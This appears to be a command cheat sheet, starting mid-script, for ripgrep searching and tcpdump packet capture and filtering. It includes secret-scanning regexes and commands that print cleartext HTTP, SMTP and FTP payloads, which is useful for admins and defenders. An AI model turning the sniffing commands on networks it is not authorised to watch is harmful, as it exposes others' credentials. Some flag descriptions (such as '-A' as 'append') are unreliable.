            print(f"{r['file']}:{r['line_number']}: {r['line']}")
    else:
        find_todos()

# Parse JSON output with jq
rg --json "pattern" | jq -s '[.[] | select(.type == "match") | .data.path.text] | unique'

# Extract specific fields
rg --json "error" | jq -r 'select(.type == "match") | "\(.data.path.text):\(.data.line_number)"'

# Count matches per file
rg --json "pattern" | jq -s 'group_by(.data.path.text) | map({file: .[0].data.path.text, count: length})'

# Get statistics
rg --json "pattern" | jq -s 'length'

# ripgrep equivalent of common grep commands

# grep -r "pattern" .
rg "pattern"

# grep -i "pattern" file
rg -i "pattern" file

# grep -w "word" file
rg -w "word" file

# grep -v "pattern" file
rg --invert-match "pattern" file

# grep -l "pattern" *
rg -l "pattern"

# grep -c "pattern" file
rg -c "pattern" file

# grep -A 3 -B 3 "pattern" file
rg -C 3 "pattern" file

# grep -E "pattern1|pattern2" file
rg "pattern1|pattern2" file

# ag equivalent commands

# ag "pattern"
rg "pattern"

# ag -l "pattern"
rg -l "pattern"

# ag -i "pattern"
rg -i "pattern"

# ag --ignore-dir dir "pattern"
rg -g '!dir/**' "pattern"

# ~/.ripgreprc example

# Smart case searching
--smart-case

# Show column numbers
--column

# Search hidden files
--hidden

# Don't search these directories
--glob=!.git/
--glob=!node_modules/
--glob=!.venv/
--glob=!__pycache__/
--glob=!*.min.js
--glob=!*.map

# Custom file types
--type-add=web:*.{html,css,js,jsx,tsx}
--type-add=config:*.{yaml,yml,json,toml,ini}

# Default colors
--colors=line:fg:yellow
--colors=match:fg:red
--colors=match:style:bold

# Set environment variable
export RIPGREP_CONFIG_PATH="$HOME/.ripgreprc"

# Add to .bashrc or .zshrc
echo 'export RIPGREP_CONFIG_PATH="$HOME/.ripgreprc"' >> ~/.bashrc

# Add to .bashrc or .zshrc

# Common searches
alias rgf='rg --files | rg'              # Search filenames
alias rgi='rg -i'                         # Case insensitive
alias rgl='rg -l'                         # List files only
alias rgc='rg -C 3'                       # With context
alias rgt='rg -t'                         # By file type

# Code search aliases
alias rgpy='rg -t py'                     # Python files
alias rgjs='rg -t js'                     # JavaScript files
alias rggo='rg -t go'                     # Go files
alias rgrs='rg -t rust'                   # Rust files

# Security audit aliases
alias rgsec='rg -i "(password|secret|api_key|token)\s*=\s*"'
alias rgaws='rg "AKIA[0-9A-Z]{16}"'

# Development aliases
alias rgtodo='rg "TODO|FIXME|HACK|XXX|NOTE"'
alias rgbug='rg -i "bug|issue|problem"'
alias rgtest='rg -t py "def test_"'

# Git-related
alias rgstaged='git diff --staged --name-only | xargs rg'
alias rgchanged='git diff --name-only | xargs rg'

# Config file location
export RIPGREP_CONFIG_PATH="$HOME/.ripgreprc"

# Set default options
export RIPGREP_ARGS="--smart-case --hidden"

# Disable colors (useful for scripts)
export RIPGREP_COLOR=never

# Custom type definitions
# (better to put in config file)

# Use preprocessor for custom file handling
# Create a preprocessor script

# Example: decompress before search
rg --pre gunzip --pre-glob '*.gz' "pattern"

# Example: search in PDFs (requires pdftotext)
rg --pre pdftotext --pre-glob '*.pdf' "pattern"

# Example: search in Office docs (requires catdoc, etc.)
#!/bin/bash
# preprocessor.sh
case "$1" in
    *.doc) catdoc "$1" ;;
    *.docx) docx2txt "$1" - ;;
    *.pdf) pdftotext "$1" - ;;
    *.odt) odt2txt "$1" ;;
    *) cat "$1" ;;
esac

# Use it
rg --pre ./preprocessor.sh --pre-glob '*.{doc,docx,pdf,odt}' "pattern"

# Multiple type filters
rg -t py -t js "pattern"

# Multiple glob patterns
rg -g '*.{py,pyx,pxd}' "pattern"

# Exclude multiple patterns
rg -g '!*.min.{js,css}' -g '!vendor/**' "pattern"

# Combine type and glob
rg -t py -g '!test_*' "pattern"

# Complex boolean filters using multiple invocations
rg "pattern" | rg -v "exclude" | rg "include"

# Specify encoding
rg -E utf8 "pattern"
rg -E latin1 "pattern"
rg -E utf16le "pattern"

# Auto-detect encoding (default)
rg "pattern"

# Search across multiple encodings
for enc in utf8 latin1 utf16le; do
    echo "=== $enc ==="
    rg -E $enc "pattern"
done

# Invert match (show lines NOT matching)
rg -v "pattern"
rg --invert-match "pattern"

# Files without matches
rg --files-without-match "pattern"

# Exclude file types
rg -T js "pattern"

# Exclude paths
rg -g '!vendor/**' "pattern"

# Show context but exclude matches
rg -v "exclude" | rg -C 2 "include"

# Sort files by name
rg "pattern" | sort

# Sort by line number
rg "pattern" | sort -t: -k2 -n

# Unique matches only
rg -o "pattern" | sort -u

# Count unique matches
rg -o "pattern" | sort | uniq | wc -l

# Most common matches
rg -o "\b\w+\b" | sort | uniq -c | sort -rn | head -20

# Pattern not found but should be
# Check: hidden files, gitignore, file types

# Include hidden files
rg --hidden "pattern"

# Ignore gitignore
rg --no-ignore "pattern"

# Search all files (including binary)
rg -uuu "pattern"

# Check what files would be searched
rg --files

# Regex not matching
# Try literal search
rg -F "literal.string"

# Try different regex engine
rg -P "pcre2_pattern"

# Performance issues
# Use fixed strings if possible
rg -F "literal"

# Limit file types
rg -t py "pattern"

# Reduce threads if CPU-bound
rg -j 2 "pattern"

# Encoding issues
# Try different encodings
rg -E latin1 "pattern"
rg -E utf16le "pattern"

# Include binary files
rg -a "pattern"

# Show debug information
rg --debug "pattern" 2>&1 | less

# Trace what's being searched
rg --debug "pattern" 2>&1 | grep "search path"

# Check ignore rules
rg --debug "pattern" 2>&1 | grep -i "ignore"

# Verify regex compilation
rg --debug "pattern" 2>&1 | grep -i "regex"

# Permission denied errors
# Use sudo if needed
sudo rg "pattern" /root/

# Skip permission errors
rg "pattern" 2>/dev/null

# Show only permission errors
rg "pattern" 2>&1 >/dev/null

rg "^import specific" # Better than rg "import"

rg -t py "pattern" # Better than rg "pattern"

rg -F "literal.string" # Better than rg "literal\.string"

rg "pattern" # Respects .gitignore

rg -w "function_name" # Better than rg "function_name"

rg -t py --max-depth 2 "specific_pattern"

rg -j 4 "pattern" # For CPU-bound systems

rg "pattern" # Instead of rg -C 10 "pattern" when not needed

rg -c "pattern" # Faster than rg "pattern" | wc -l

rg -m 10 "pattern" # Stop after 10 matches per file

rg -i "(password|secret|api_key|token)\s*=\s*['\"]?\w+"

# Add to git pre-commit hook
rg --quiet "FIXME|TODO|password.*=" && exit 1

rg "==|>=|<=" requirements.txt
rg "\"version\":" package.json

rg "console\.(log|debug)|debugger|import pdb"

rg "TODO|FIXME|HACK|XXX" -g '!vendor/**'

rg "eval\(|exec\(" -t py
rg "var " -t js

rg "def test_" -t py -c

rg "error message" -c | sort -t: -k2 -rn

# Basic search
rg "pattern"

# Case-insensitive
rg -i "pattern"

# Whole words only
rg -w "word"

# Fixed strings (literal)
rg -F "literal.string"

# File type filter
rg -t py "pattern"

# Exclude file type
rg -T js "pattern"

# Show filenames only
rg -l "pattern"

# Count matches
rg -c "pattern"

# With context
rg -C 3 "pattern"

# Include hidden files
rg --hidden "pattern"

# Ignore .gitignore
rg --no-ignore "pattern"

# List files
rg --files

# Multiline search
rg -U "pattern.*\n.*pattern"

# Replace preview
rg "old" -r "new"

# JSON output
rg --json "pattern"

# Statistics
rg --stats "pattern"

rg -t py      # Python
rg -t js      # JavaScript
rg -t ts      # TypeScript
rg -t rust    # Rust
rg -t go      # Go
rg -t cpp     # C++
rg -t c       # C
rg -t java    # Java
rg -t ruby    # Ruby
rg -t php     # PHP
rg -t html    # HTML
rg -t css     # CSS
rg -t md      # Markdown
rg -t json    # JSON
rg -t yaml    # YAML
rg -t xml     # XML
rg -t sql     # SQL
rg -t sh      # Shell scripts

# Functions
rg "^(def|function|func|fn) \w+"

# Classes
rg "^(class|struct|interface) \w+"

# Imports
rg "^(import|from|#include|use) "

# TODOs
rg "TODO|FIXME|HACK|XXX|NOTE"

# Email
rg "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b"

# IP addresses
rg "\b(?:\d{1,3}\.){3}\d{1,3}\b"

# URLs
rg "https?://[^\s]+"

# Hex colors
rg "#[0-9a-fA-F]{6}\b"

# UUIDs
rg "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"

# Debian/Ubuntu
sudo apt update
sudo apt install tcpdump

# RHEL/CentOS/Fedora
sudo yum install tcpdump
# or
sudo dnf install tcpdump

# macOS
# tcpdump is pre-installed on macOS
# To get the latest version:
brew install tcpdump

# Verify installation
tcpdump --version

# Check available interfaces
tcpdump -D

# Test capture (requires root/sudo)
sudo tcpdump -i eth0 -c 5

# Run with sudo (most common)
sudo tcpdump -i eth0

# Linux: Grant capture permissions to specific users (more secure)
# Add user to group with capture permissions
sudo groupadd pcap
sudo usermod -a -G pcap $USER
sudo chgrp pcap /usr/sbin/tcpdump
sudo chmod 750 /usr/sbin/tcpdump
sudo setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

# Verify capabilities
getcap /usr/sbin/tcpdump

# Log out and back in for group changes to take effect
newgrp pcap

# macOS: Run as root or with sudo
sudo tcpdump -i en0

# Verify permissions work
tcpdump -D  # Should list interfaces without error

# List all available interfaces
tcpdump -D
sudo tcpdump -D

# Example output:
# 1.eth0 [Up, Running]
# 2.wlan0 [Up, Running]
# 3.lo [Up, Running, Loopback]
# 4.any (Pseudo-device that captures on all interfaces) [Up, Running]
# 5.docker0 [Up, Running]

# On macOS
tcpdump -D
# Example output:
# 1.en0 [Up, Running]
# 2.en1
# 3.bridge0
# 4.lo0 [Up, Running, Loopback]

# Capture on default interface
sudo tcpdump

# Capture on specific interface
sudo tcpdump -i eth0
sudo tcpdump -i wlan0

# Capture on all interfaces (Linux)
sudo tcpdump -i any

# Capture N packets and stop
sudo tcpdump -i eth0 -c 10        # Capture 10 packets
sudo tcpdump -i eth0 -c 100       # Capture 100 packets

# Capture without resolving hostnames (faster)
sudo tcpdump -i eth0 -n

# Capture without resolving hostnames or ports
sudo tcpdump -i eth0 -nn

# Capture with timestamps
sudo tcpdump -i eth0 -tttt        # Human-readable timestamps
sudo tcpdump -i eth0 -ttt         # Delta time since previous packet

# Stop capture with Ctrl+C

# Normal output (summary)
sudo tcpdump -i eth0

# Verbose (-v)
sudo tcpdump -i eth0 -v

# More verbose (-vv)
sudo tcpdump -i eth0 -vv

# Maximum verbosity (-vvv)
sudo tcpdump -i eth0 -vvv

# Verbosity shows:
# -v: TTL, identification, length, options
# -vv: Additional protocol details
# -vvv: Maximum protocol information

# Capture to file
sudo tcpdump -i eth0 -w capture.pcap

# Capture with packet count limit
sudo tcpdump -i eth0 -c 1000 -w capture.pcap

# Capture with file rotation (size-based)
sudo tcpdump -i eth0 -w capture.pcap -C 100  # New file every 100 MB

# Capture with file rotation (count-based)
sudo tcpdump -i eth0 -w capture.pcap -C 100 -W 5  # Keep 5 files max

# Capture and display simultaneously
sudo tcpdump -i eth0 -w capture.pcap -v

# Append to existing file
sudo tcpdump -i eth0 -w capture.pcap -A

# Capture to stdout (pipe to other tools)
sudo tcpdump -i eth0 -w -

# Read from pcap file
tcpdump -r capture.pcap

# Read with filtering
tcpdump -r capture.pcap tcp port 80

# Read first N packets
tcpdump -r capture.pcap -c 10

# Read with verbosity
tcpdump -r capture.pcap -v
tcpdump -r capture.pcap -vv

# Read with specific timestamp format
tcpdump -r capture.pcap -tttt

# Read and write filtered packets to new file
tcpdump -r capture.pcap -w filtered.pcap 'tcp port 443'

# Capture traffic to/from specific host
sudo tcpdump host 192.168.1.1
sudo tcpdump host example.com

# Capture traffic FROM specific host (source)
sudo tcpdump src host 192.168.1.1

# Capture traffic TO specific host (destination)
sudo tcpdump dst host 192.168.1.1

# Multiple hosts
sudo tcpdump host 192.168.1.1 or host 192.168.1.2

# Exclude specific host
sudo tcpdump not host 192.168.1.1

# Traffic between two hosts
sudo tcpdump host 192.168.1.1 and host 192.168.1.2

# Capture traffic from/to network
sudo tcpdump net 192.168.1.0/24
sudo tcpdump net 10.0.0.0/8

# Source network
sudo tcpdump src net 192.168.0.0/16

# Destination network
sudo tcpdump dst net 10.0.0.0/8

# Exclude network
sudo tcpdump not net 192.168.1.0/24

# Alternative mask notation
sudo tcpdump net 192.168.1.0 mask 255.255.255.0

# Capture specific port (source or destination)
sudo tcpdump port 80
sudo tcpdump port 443

# Source port
sudo tcpdump src port 80

# Destination port
sudo tcpdump dst port 443

# Port range
sudo tcpdump portrange 8000-9000

# Multiple ports
sudo tcpdump port 80 or port 443
sudo tcpdump 'port 80 or port 443 or port 8080'

# Exclude port
sudo tcpdump not port 22

# Common service ports
sudo tcpdump port http        # Port 80
sudo tcpdump port https       # Port 443
sudo tcpdump port ssh         # Port 22
sudo tcpdump port domain      # Port 53 (DNS)

# TCP traffic only
sudo tcpdump tcp

# UDP traffic only
sudo tcpdump udp

# ICMP traffic only (ping, etc.)
sudo tcpdump icmp

# ARP traffic
sudo tcpdump arp

# IP traffic (IPv4)
sudo tcpdump ip

# IPv6 traffic
sudo tcpdump ip6

# ICMP6 (IPv6 ICMP)
sudo tcpdump icmp6

# Specific protocol with port
sudo tcpdump tcp port 80
sudo tcpdump udp port 53

# Multiple protocols
sudo tcpdump 'tcp or udp'
sudo tcpdump 'icmp or arp'

# TCP SYN packets (connection initiation)
sudo tcpdump 'tcp[tcpflags] & tcp-syn != 0'

# TCP SYN-ACK packets
sudo tcpdump 'tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)'

# TCP RST packets (connection reset)
sudo tcpdump 'tcp[tcpflags] & tcp-rst != 0'

# TCP FIN packets (connection close)
sudo tcpdump 'tcp[tcpflags] & tcp-fin != 0'

# TCP PSH packets (push data)
sudo tcpdump 'tcp[tcpflags] & tcp-push != 0'

# TCP ACK packets
sudo tcpdump 'tcp[tcpflags] & tcp-ack != 0'

# TCP URG packets
sudo tcpdump 'tcp[tcpflags] & tcp-urg != 0'

# TCP with no flags (NULL scan)
sudo tcpdump 'tcp[tcpflags] == 0'

# TCP SYN only (not SYN-ACK)
sudo tcpdump 'tcp[tcpflags] == tcp-syn'

# TCP FIN-ACK packets
sudo tcpdump 'tcp[tcpflags] & (tcp-fin|tcp-ack) == (tcp-fin|tcp-ack)'

# Xmas scan (FIN, PSH, URG)
sudo tcpdump 'tcp[tcpflags] & (tcp-fin|tcp-push|tcp-urg) != 0'

# Combine host and port
sudo tcpdump 'host 192.168.1.1 and port 80'

# Combine protocol and network
sudo tcpdump 'tcp and net 192.168.1.0/24'

# Multiple conditions with AND
sudo tcpdump 'host 192.168.1.1 and tcp and port 443'

# Multiple conditions with OR
sudo tcpdump 'host 192.168.1.1 or host 192.168.1.2'

# Complex boolean logic (use quotes!)
sudo tcpdump '(host 192.168.1.1 or host 192.168.1.2) and port 80'

# Exclude traffic (NOT)
sudo tcpdump 'not host 192.168.1.1 and not port 22'

# HTTP and HTTPS traffic
sudo tcpdump 'tcp port 80 or tcp port 443'

# DNS traffic (both TCP and UDP)
sudo tcpdump 'port 53'
sudo tcpdump 'tcp port 53 or udp port 53'

# Capture everything except SSH
sudo tcpdump 'not port 22'

# Specific host on specific ports
sudo tcpdump 'host 192.168.1.1 and (port 80 or port 443)'

# Non-local traffic only
sudo tcpdump 'not net 127.0.0.0/8'

# Traffic between two networks
sudo tcpdump 'net 192.168.1.0/24 and net 10.0.0.0/24'

# Capture by MAC address
sudo tcpdump ether host 00:11:22:33:44:55

# Source MAC
sudo tcpdump ether src 00:11:22:33:44:55

# Destination MAC
sudo tcpdump ether dst 00:11:22:33:44:55

# Broadcast traffic
sudo tcpdump ether broadcast

# Multicast traffic
sudo tcpdump ether multicast

# Specific EtherType
sudo tcpdump 'ether proto 0x0800'   # IPv4
sudo tcpdump 'ether proto 0x0806'   # ARP
sudo tcpdump 'ether proto 0x86dd'   # IPv6

# Packets less than size (bytes)
sudo tcpdump less 128

# Packets greater than size
sudo tcpdump greater 1000

# Packets of exact size
sudo tcpdump 'len == 64'

# Large packets (potential MTU issues or jumbograms)
sudo tcpdump greater 1500

# Small packets
sudo tcpdump less 60

# Size range using boolean logic
sudo tcpdump 'greater 100 and less 500'

# Capture VLAN traffic
sudo tcpdump vlan

# Specific VLAN ID
sudo tcpdump 'vlan 100'

# VLAN and protocol
sudo tcpdump 'vlan and tcp'

# VLAN with specific traffic
sudo tcpdump 'vlan 100 and host 192.168.1.1'

# Multiple VLANs
sudo tcpdump 'vlan 100 or vlan 200'

# HTTP GET requests (looking at payload)
sudo tcpdump -A 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'

# HTTP POST requests
sudo tcpdump -A 'tcp port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'

# DNS queries (QR bit = 0)
sudo tcpdump 'udp port 53 and udp[10] & 0x80 = 0'

# DNS responses (QR bit = 1)
sudo tcpdump 'udp port 53 and udp[10] & 0x80 = 0x80'

# ICMP echo request (ping)
sudo tcpdump 'icmp[icmptype] == icmp-echo'

# ICMP echo reply
sudo tcpdump 'icmp[icmptype] == icmp-echoreply'

# TCP packets with data (not just ACKs)
sudo tcpdump 'tcp[((tcp[12:1] & 0xf0) >> 2):4] != 0'

# IPv4 packets with DF (Don't Fragment) flag
sudo tcpdump 'ip[6] & 0x40 != 0'

# IPv4 fragmented packets
sudo tcpdump 'ip[6:2] & 0x1fff != 0 or ip[6] & 0x20 != 0'

# Default output (packet summary)
sudo tcpdump -i eth0

# ASCII output (-A) - shows packet content as ASCII
sudo tcpdump -A -i eth0

# Hex output (-x) - shows packet in hex
sudo tcpdump -x -i eth0

# Hex and ASCII (-X) - shows both hex and ASCII
sudo tcpdump -X -i eth0

# Hex with link-level header (-xx)
sudo tcpdump -xx -i eth0

# Hex and ASCII with link-level header (-XX)
sudo tcpdump -XX -i eth0

# Quiet output (less protocol information)
sudo tcpdump -q -i eth0

# No timestamp
sudo tcpdump -t -i eth0

# Absolute timestamp (default)
sudo tcpdump -i eth0

# Delta time (time since previous packet)
sudo tcpdump -ttt -i eth0

# Absolute time with date
sudo tcpdump -tttt -i eth0

# Time since first packet
sudo tcpdump -ttttt -i eth0

# Unix epoch timestamp
sudo tcpdump -tttttt -i eth0

# ISO 8601 format (with microseconds)
sudo tcpdump -ttttt -i eth0

# Minimal output (quiet)
sudo tcpdump -q -i eth0

# Normal detail
sudo tcpdump -i eth0

# Verbose
sudo tcpdump -v -i eth0

# Very verbose
sudo tcpdump -vv -i eth0

# Maximum verbosity
sudo tcpdump -vvv -i eth0

# Suppress hostname resolution (-n)
sudo tcpdump -n -i eth0

# Suppress hostname and port resolution (-nn)
sudo tcpdump -nn -i eth0

# Don't suppress protocol names
sudo tcpdump -nnn -i eth0

# Line-buffered output (useful for piping)
sudo tcpdump -l -i eth0 | tee capture.log

# Unbuffered output
sudo tcpdump -U -i eth0

# Useful for real-time monitoring:
sudo tcpdump -l -i eth0 | grep "192.168.1.1"

# Set snapshot length (bytes to capture per packet)
sudo tcpdump -s 0 -i eth0          # Capture full packets (recommended)
sudo tcpdump -s 65535 -i eth0      # Capture full packets (older systems)
sudo tcpdump -s 128 -i eth0        # Capture only headers
sudo tcpdump -s 512 -i eth0        # Headers + some payload

# Default on modern tcpdump: 262144 bytes

# Capture specific number of packets
sudo tcpdump -c 100 -i eth0

# Capture for specific duration (using timeout command)
sudo timeout 60 tcpdump -i eth0 -w capture.pcap    # 60 seconds
sudo timeout 5m tcpdump -i eth0 -w capture.pcap    # 5 minutes

# Capture until file size limit (approximate, with -C)
sudo tcpdump -i eth0 -w capture.pcap -C 100        # ~100 MB per file

# Rotate files by size (-C) and keep limited number (-W)
sudo tcpdump -i eth0 -w capture.pcap -C 50 -W 10
# Creates: capture.pcap0, capture.pcap1, ..., capture.pcap9
# Each file ~50 MB, keeps only 10 most recent files

# Time-based rotation (requires external tools)
# Use with timeout and a script:
for i in {1..10}; do
  timeout 60 sudo tcpdump -i eth0 -w capture-$i.pcap
done

# Rotate by size without limit on file count
sudo tcpdump -i eth0 -w capture.pcap -C 100

# Example: Long-term monitoring (24 hours, 1 hour per file)
for hour in {00..23}; do
  timeout 3600 sudo tcpdump -i eth0 -w capture-2024-01-15-${hour}.pcap
done

# Set buffer size (in KB) to prevent packet loss
# Larger buffer = less packet loss on busy networks
sudo tcpdump -B 4096 -i eth0 -w capture.pcap      # 4 MB buffer
sudo tcpdump -B 8192 -i eth0 -w capture.pcap      # 8 MB buffer

# Default buffer size varies by OS
# Linux default: typically 2 MB
# Increase for high-traffic capture

# Capture on all interfaces (Linux)
sudo tcpdump -i any -w capture.pcap

# Capture on specific interfaces sequentially
sudo tcpdump -i eth0 -w eth0-capture.pcap &
sudo tcpdump -i wlan0 -w wlan0-capture.pcap &

# Note: On Linux, -i any includes loopback
# To exclude loopback:
sudo tcpdump -i any not host 127.0.0.1 -w capture.pcap

# Immediate mode: deliver packets immediately without buffering
sudo tcpdump -i eth0 --immediate-mode -w capture.pcap

# Useful for:
# - Real-time analysis
# - Low-latency requirements
# - Monitoring applications

# Trade-off: Higher CPU usage, potential performance impact

# Inbound packets only
sudo tcpdump -i eth0 -Q in

# Outbound packets only
sudo tcpdump -i eth0 -Q out

# Both directions (default)
sudo tcpdump -i eth0 -Q inout

# Note: Not supported on all systems

# HTTP traffic (port 80)
sudo tcpdump -i eth0 -A 'tcp port 80'

# HTTP with specific host
sudo tcpdump -i eth0 -A 'tcp port 80 and host example.com'

# HTTP GET requests
sudo tcpdump -i eth0 -A 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420)'

# HTTP POST requests
sudo tcpdump -i eth0 -A 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'

# HTTPS traffic (port 443) - encrypted content
sudo tcpdump -i eth0 'tcp port 443'

# HTTP on non-standard ports
sudo tcpdump -i eth0 'tcp port 8080 or tcp port 8443'

# Capture HTTP with verbose output
sudo tcpdump -i eth0 -vvv -A 'tcp port 80'

# HTTP traffic to specific path (requires payload inspection)
sudo tcpdump -i eth0 -A 'tcp port 80' | grep -A 10 "GET /api/"

# All DNS traffic (UDP and TCP port 53)
sudo tcpdump -i eth0 port 53

# DNS queries only
sudo tcpdump -i eth0 'udp port 53 and udp[10] & 0x80 = 0'

# DNS responses only
sudo tcpdump -i eth0 'udp port 53 and udp[10] & 0x80 = 0x80'

# DNS for specific domain
sudo tcpdump -i eth0 -vvv 'port 53' | grep -i example.com

# DNS with detailed output
sudo tcpdump -i eth0 -vvv -s 0 port 53

# DNS TCP traffic (large responses, zone transfers)
sudo tcpdump -i eth0 'tcp port 53'

# DNS queries to specific server
sudo tcpdump -i eth0 'dst host 8.8.8.8 and port 53'

# All ICMP traffic
sudo tcpdump -i eth0 icmp

# ICMP echo requests (ping)
sudo tcpdump -i eth0 'icmp[icmptype] == icmp-echo'

# ICMP echo replies
sudo tcpdump -i eth0 'icmp[icmptype] == icmp-echoreply'

# ICMP unreachable messages
sudo tcpdump -i eth0 'icmp[icmptype] == icmp-unreach'

# ICMP time exceeded (traceroute)
sudo tcpdump -i eth0 'icmp[icmptype] == icmp-timxceed'

# ICMP to/from specific host
sudo tcpdump -i eth0 'icmp and host 192.168.1.1'

# ICMP6 (IPv6 ICMP)
sudo tcpdump -i eth0 icmp6

# Ping packets with details
sudo tcpdump -i eth0 -vv icmp

# All ARP traffic
sudo tcpdump -i eth0 arp

# ARP requests
sudo tcpdump -i eth0 'arp[6:2] == 1'

# ARP replies
sudo tcpdump -i eth0 'arp[6:2] == 2'

# ARP for specific IP
sudo tcpdump -i eth0 'arp and host 192.168.1.1'

# ARP with MAC address details
sudo tcpdump -i eth0 -e arp

# Detect ARP spoofing (look for duplicate IPs with different MACs)
sudo tcpdump -i eth0 -e -n arp | grep "tell"

# Gratuitous ARP
sudo tcpdump -i eth0 'arp and arp[24:4] == arp[28:4]'

# All DHCP traffic
sudo tcpdump -i eth0 'port 67 or port 68'

# DHCP Discover
sudo tcpdump -i eth0 -v 'udp port 67 or udp port 68' | grep -i discover

# DHCP Offer
sudo tcpdump -i eth0 -v 'udp port 67 or udp port 68' | grep -i offer

# DHCP Request
sudo tcpdump -i eth0 -v 'udp port 67 or udp port 68' | grep -i request

# DHCP ACK
sudo tcpdump -i eth0 -v 'udp port 67 or udp port 68' | grep -i ack

# DHCP with full details
sudo tcpdump -i eth0 -vvv -s 0 'port 67 or port 68'

# TCP SYN packets (connection attempts)
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0'

# TCP three-way handshake (SYN, SYN-ACK, ACK)
sudo tcpdump -i eth0 'tcp[tcpflags] & (tcp-syn|tcp-ack) != 0'

# TCP connection termination (FIN)
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-fin != 0'

# TCP resets
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-rst != 0'

# TCP retransmissions (requires analysis)
sudo tcpdump -i eth0 -vvv tcp

# Established connections (ACK flag set, no SYN)
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-ack != 0 and tcp[tcpflags] & tcp-syn == 0'

# All UDP traffic
sudo tcpdump -i eth0 udp

# UDP on specific port
sudo tcpdump -i eth0 'udp port 161'    # SNMP

# UDP excluding DNS
sudo tcpdump -i eth0 'udp and not port 53'

# UDP broadcast
sudo tcpdump -i eth0 'udp and dst host 255.255.255.255'

# UDP multicast
sudo tcpdump -i eth0 'udp and dst net 224.0.0.0/4'

# SMTP traffic
sudo tcpdump -i eth0 'port 25 or port 587 or port 465'

# SMTP with payload
sudo tcpdump -i eth0 -A 'port 25'

# IMAP traffic
sudo tcpdump -i eth0 'port 143 or port 993'

# POP3 traffic
sudo tcpdump -i eth0 'port 110 or port 995'

# FTP control channel
sudo tcpdump -i eth0 'port 21'

# FTP control with commands
sudo tcpdump -i eth0 -A 'port 21'

# FTP data channel (passive mode ports)
sudo tcpdump -i eth0 'port 20 or portrange 1024-65535'

# FTP active mode
sudo tcpdump -i eth0 'port 20'

# SSH traffic
sudo tcpdump -i eth0 'port 22'

# SSH to specific host
sudo tcpdump -i eth0 'tcp port 22 and host 192.168.1.1'

# SSH connection establishment
sudo tcpdump -i eth0 'tcp port 22 and tcp[tcpflags] & tcp-syn != 0'

# MySQL/MariaDB
sudo tcpdump -i eth0 'port 3306'

# PostgreSQL
sudo tcpdump -i eth0 'port 5432'

# MongoDB
sudo tcpdump -i eth0 'port 27017'

# Redis
sudo tcpdump -i eth0 'port 6379'

# Microsoft SQL Server
sudo tcpdump -i eth0 'port 1433'

# OpenVPN
sudo tcpdump -i eth0 'udp port 1194'

# IPSec (ESP)
sudo tcpdump -i eth0 'esp'

# IPSec (IKE)
sudo tcpdump -i eth0 'udp port 500 or udp port 4500'

# GRE tunnel
sudo tcpdump -i eth0 'proto gre'

# PPTP
sudo tcpdump -i eth0 'tcp port 1723'

# Count packets by type
tcpdump -r capture.pcap -n | awk '{print $3}' | sort | uniq -c | sort -rn

# Extract unique source IPs
tcpdump -r capture.pcap -n | awk '{print $3}' | cut -d'.' -f1-4 | sort -u

# Extract unique destination IPs
tcpdump -r capture.pcap -n | awk '{print $5}' | cut -d'.' -f1-4 | cut -d':' -f1 | sort -u

# Count packets per second
tcpdump -r capture.pcap -tttt | awk '{print $1, $2}' | cut -d'.' -f1 | uniq -c

# Find most active hosts
tcpdump -r capture.pcap -n | awk '{print $3}' | cut -d'.' -f1-4 | sort | uniq -c | sort -rn | head -10

# Extract all DNS queries
tcpdump -r capture.pcap -n 'port 53' | grep "A?"

# Find long connections (by packet count)
tcpdump -r capture.pcap -n | awk '{print $3, $5}' | sort | uniq -c | sort -rn | head -20

# Basic statistics (packet count)
tcpdump -r capture.pcap | wc -l

# Protocol distribution
tcpdump -r capture.pcap -n | awk '{print $NF}' | sort | uniq -c | sort -rn

# Ports accessed most
tcpdump -r capture.pcap -n | grep -oP '\d+\.\d+\.\d+\.\d+\.\K\d+' | sort | uniq -c | sort -rn | head -20

# Bandwidth by IP (approximation)
tcpdump -r capture.pcap -n | awk '{print $3, $NF}' | grep length | awk '{sum[$1]+=$2} END {for (ip in sum) print ip, sum[ip]}' | sort -k2 -rn

# Extract packets to new file with filter
tcpdump -r capture.pcap -w filtered.pcap 'tcp port 443'

# Extract specific time range (requires timestamps)
tcpdump -r capture.pcap -w timerange.pcap \
  '((dst port 80) and (src net 192.168.1.0/24))'

# Extract packets for specific conversation
tcpdump -r capture.pcap -w conversation.pcap \
  '((host 192.168.1.1 and host 192.168.1.2) and port 80)'

# Split capture by protocol
tcpdump -r capture.pcap -w tcp.pcap tcp
tcpdump -r capture.pcap -w udp.pcap udp
tcpdump -r capture.pcap -w icmp.pcap icmp

# Pipe to Wireshark/tshark
sudo tcpdump -i eth0 -w - | wireshark -k -i -
sudo tcpdump -i eth0 -w - | tshark -r -

# Pipe to grep for real-time filtering
sudo tcpdump -i eth0 -l | grep "192.168.1.1"

# Pipe to awk for custom processing
sudo tcpdump -i eth0 -n -l | awk '{print $3, $5, $6}'

# Save and analyze with tshark
sudo tcpdump -i eth0 -w capture.pcap
tshark -r capture.pcap -Y "http" -T fields -e ip.src -e http.request.uri

# Use with tcpflow for TCP stream reconstruction
sudo tcpdump -i eth0 -w - | tcpflow -r -

# Use with ssldump for SSL/TLS analysis
sudo tcpdump -i eth0 -w - | ssldump -r -

# Convert to text for analysis
tcpdump -r capture.pcap -n | tee capture.txt

# Parse with custom script
tcpdump -r capture.pcap -n | python3 analyze.py

# Show packets with absolute timestamps
tcpdump -r capture.pcap -tttt

# Show packet timing deltas
tcpdump -r capture.pcap -ttt

# Extract packets from specific time
tcpdump -r capture.pcap -tttt | grep "2024-01-15 14:"

# Find gaps in traffic (look for large time deltas)
tcpdump -r capture.pcap -ttt | awk '{if ($1 > 1) print}'

